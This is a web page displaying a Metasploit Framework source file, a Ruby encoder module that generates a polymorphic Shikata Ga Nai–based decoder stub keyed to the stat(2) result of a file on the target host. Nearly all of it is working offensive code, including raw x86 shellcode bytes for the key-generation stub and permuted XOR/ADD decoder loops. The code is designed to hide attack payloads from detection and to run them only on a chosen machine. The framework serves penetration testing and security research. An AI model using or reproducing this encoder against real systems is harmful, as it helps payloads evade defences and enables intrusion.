Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/encoders/x86/context_stat.rb
21532 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'rex/poly'
7
8
class MetasploitModule < Msf::Encoder::XorAdditiveFeedback
9
10
# Manual ranking because the stat(2) key is generated and supplied
11
# manually.
12
13
Rank = ManualRanking
14
15
def initialize
16
super(
17
'Name' => 'stat(2)-based Context Keyed Payload Encoder',
18
'Description' => %q{
19
This is a Context-Keyed Payload Encoder based on stat(2)
20
and Shikata Ga Nai.
21
},
22
'Author' => 'Dimitris Glynos',
23
'Arch' => ARCH_X86,
24
'License' => MSF_LICENSE,
25
'Decoder' => {
26
'KeySize' => 4,
27
'BlockSize' => 4
28
})
29
30
register_options(
31
[
32
OptString.new('STAT_KEY', [
33
true,
34
'STAT key from target host (see tools/context/stat-key utility)',
35
'0x00000000'
36
]),
37
OptString.new('STAT_FILE', [ true, 'name of file to stat(2)', '/bin/ls' ]),
38
]
39
)
40
end
41
42
def obtain_key(_buf, _badchars, state)
43
state.key = datastore['STAT_KEY'].hex
44
return state.key
45
end
46
47
#
48
# Generates the shikata decoder stub.
49
#
50
def decoder_stub(state)
51
# If the decoder stub has not already been generated for this state, do
52
# it now. The decoder stub method may be called more than once.
53
if state.decoder_stub.nil?
54
# Shikata will only cut off the last 1-4 bytes of it's own end
55
# depending on the alignment of the original buffer
56
cutoff = 4 - (state.buf.length & 3)
57
block = keygen_stub + generate_shikata_block(state, state.buf.length + cutoff, cutoff) || (raise BadGenerateError)
58
59
# Take the last 1-4 bytes of shikata and prepend them to the buffer
60
# that is going to be encoded to make it align on a 4-byte boundary.
61
state.buf = block.slice!(block.length - cutoff, cutoff) + state.buf
62
63
# Cache this decoder stub. The reason we cache the decoder stub is
64
# because we need to ensure that the same stub is returned every time
65
# for a given encoder state.
66
state.decoder_stub = block
67
end
68
69
state.decoder_stub
70
end
71
72
protected
73
74
def keygen_stub
75
fname = datastore['STAT_FILE']
76
flen = fname.length
77
78
"\xd9\xee" + # fldz
79
"\xd9\x74\x24\xf4" + # fnstenv -0xc(%esp)
80
"\x5b" + # pop %ebx
81
Rex::Arch::X86.jmp_short(flen) + # jmp over
82
fname + # the filename
83
"\x83\xc3\x09" + # over: add $9, %ebx
84
"\x8d\x53" + # lea filelen(%ebx), %edx
85
Rex::Arch::X86.pack_lsb(flen) +
86
"\x31\xc0" + # xor %eax,%eax
87
"\x88\x02" + # mov %al,(%edx)
88
"\x8d\x4c\x24\xa8" + # lea -0x58(%esp),%ecx
89
"\xb0\xc3" + # mov $0xc3, %al
90
"\xcd\x80" + # int $0x80
91
"\x8b\x41\x2c" + # mov 0x2c(%ecx),%eax
92
"\x33\x41\x48" # xor 0x48(%ecx),%eax
93
end
94
95
#
96
# Returns the set of FPU instructions that can be used for the FPU block of
97
# the decoder stub.
98
#
99
def fpu_instructions
100
fpus = []
101
102
0xe8.upto(0xee) { |x| fpus << "\xd9" + x.chr }
103
0xc0.upto(0xcf) { |x| fpus << "\xd9" + x.chr }
104
0xc0.upto(0xdf) { |x| fpus << "\xda" + x.chr }
105
0xc0.upto(0xdf) { |x| fpus << "\xdb" + x.chr }
106
0xc0.upto(0xc7) { |x| fpus << "\xdd" + x.chr }
107
108
fpus << "\xd9\xd0"
109
fpus << "\xd9\xe1"
110
fpus << "\xd9\xf6"
111
fpus << "\xd9\xf7"
112
fpus << "\xd9\xe5"
113
114
# This FPU instruction seems to fail consistently on Linux
115
# fpus << "\xdb\xe1"
116
117
fpus
118
end
119
120
#
121
# Returns a polymorphic decoder stub that is capable of decoding a buffer
122
# of the supplied length and encodes the last cutoff bytes of itself.
123
#
124
def generate_shikata_block(state, length, cutoff)
125
# Declare logical registers
126
key_reg = Rex::Poly::LogicalRegister::X86.new('key', 'eax')
127
Rex::Poly::LogicalRegister::X86.new('count', 'ecx')
128
addr_reg = Rex::Poly::LogicalRegister::X86.new('addr')
129
130
# Declare individual blocks
131
endb = Rex::Poly::SymbolicBlock::End.new
132
133
# FPU blocks
134
fpu = Rex::Poly::LogicalBlock.new('fpu', *fpu_instructions)
135
fnstenv = Rex::Poly::LogicalBlock.new('fnstenv', "\xd9\x74\x24\xf4")
136
137
# Get EIP off the stack
138
popeip = Rex::Poly::LogicalBlock.new('popeip',
139
proc { |b| (0x58 + b.regnum_of(addr_reg)).chr })
140
141
# Clear the counter register
142
clear_register = Rex::Poly::LogicalBlock.new('clear_register',
143
"\x31\xc9",
144
"\x29\xc9",
145
"\x33\xc9",
146
"\x2b\xc9")
147
148
# Initialize the counter after zeroing it
149
init_counter = Rex::Poly::LogicalBlock.new('init_counter')
150
151
# Divide the length by four but ensure that it aligns on a block size
152
# boundary (4 byte).
153
length += 4 + (4 - (length & 3)) & 3
154
length /= 4
155
156
if (length <= 255)
157
init_counter.add_perm("\xb1" + [ length ].pack('C'))
158
else
159
init_counter.add_perm("\x66\xb9" + [ length ].pack('v'))
160
end
161
162
# Key initialization block
163
164
# Decoder loop block
165
loop_block = Rex::Poly::LogicalBlock.new('loop_block')
166
167
xor = proc { |b| "\x31" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr }
168
xor1 = proc { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') }
169
xor2 = proc { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') }
170
add = proc { |b| "\x03" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr }
171
add1 = proc { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') }
172
add2 = proc { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') }
173
sub4 = proc { |b| "\x83" + (0xe8 + b.regnum_of(addr_reg)).chr + "\xfc" }
174
add4 = proc { |b| "\x83" + (0xc0 + b.regnum_of(addr_reg)).chr + "\x04" }
175
176
loop_block.add_perm(
177
proc { |b| xor1.call(b) + add1.call(b) + sub4.call(b) },
178
proc { |b| xor1.call(b) + sub4.call(b) + add2.call(b) },
179
proc { |b| sub4.call(b) + xor2.call(b) + add2.call(b) },
180
proc { |b| xor1.call(b) + add1.call(b) + add4.call(b) },
181
proc { |b| xor1.call(b) + add4.call(b) + add2.call(b) },
182
proc { |b| add4.call(b) + xor2.call(b) + add2.call(b) }
183
)
184
185
# Loop instruction block
186
loop_inst = Rex::Poly::LogicalBlock.new('loop_inst',
187
"\xe2\xf5")
188
189
# Define block dependencies
190
fnstenv.depends_on(fpu)
191
popeip.depends_on(fnstenv)
192
init_counter.depends_on(clear_register)
193
loop_block.depends_on(popeip, init_counter)
194
loop_inst.depends_on(loop_block)
195
196
# Generate a permutation saving the EAX, ECX and ESP registers
197
loop_inst.generate([
198
Rex::Arch::X86::EAX,
199
Rex::Arch::X86::ESP,
200
Rex::Arch::X86::ECX
201
], nil, state.badchars)
202
end
203
end
204
205